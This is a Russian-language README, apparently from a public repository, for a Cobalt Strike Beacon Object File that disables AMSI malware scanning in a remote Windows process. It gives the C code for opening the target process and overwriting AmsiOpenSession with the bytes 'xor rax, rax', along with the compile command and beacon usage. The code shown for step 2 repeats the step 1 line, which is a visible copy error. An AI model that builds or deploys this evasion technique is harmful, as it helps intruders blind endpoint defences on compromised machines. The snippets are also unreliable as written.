Cobalt Strike BOF - Инжектирование обхода AMSI
Файл объекта Beacon (BOF) для Cobalt Strike, который обходит AMSI в удалённом процессе с инъекцией кода.
Запуск inject-amsiBypass BOF из CobaltStrike

Что это делает?
1. Используем переданный аргумент PID для получения дескриптора удалённого процесса
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. Загружаем AMSI.DLL в память beacon'а и получаем адрес AMSI.AmsiOpenSession
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- И beacon, и целевой процесс будут иметь одинаковый адрес для символа.
- Если AMSI.DLL не существует в удалённом процессе, выполнение этого может привести к сбою целевого процесса.
3. Записываем обход AMSI в память удалённого процесса
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
Метод = AMSI.AmsiOpenSession
- Использует технику обхода AMSI, преподаваемую в курсе Offensive Security PEN-300/OSEP (Evasion Techniques and Breaching Defenses).
Скриншоты демонстрации концепции
До - Powershell.exe AMSI.AmsiOpenSession

После - Powershell.exe AMSI.AmsiOpenSession

Компиляция с x64 MinGW:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
Запуск из консоли Cobalt Strike Beacon
beacon> inject-amsiBypass <PID>
- Убедитесь, что скрипт inject-amsiBypass.cna загружен в Script Manager Cobalt Strike.
Список задач
- Проверить, существует ли AMSI.DLL в удалённом процессе перед инъекцией
- Добавить другие обходы AMSI для инъекции
- Поддержка x86
Благодарности / Ссылки
Raphael Mudge - Beacon Object Files - Luser Demo
Cobalt Strike - Beacon Object Files
Ссылки на код BOF
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Курс Sektor7 Malware Dev Essentials
Offensive Security OSEP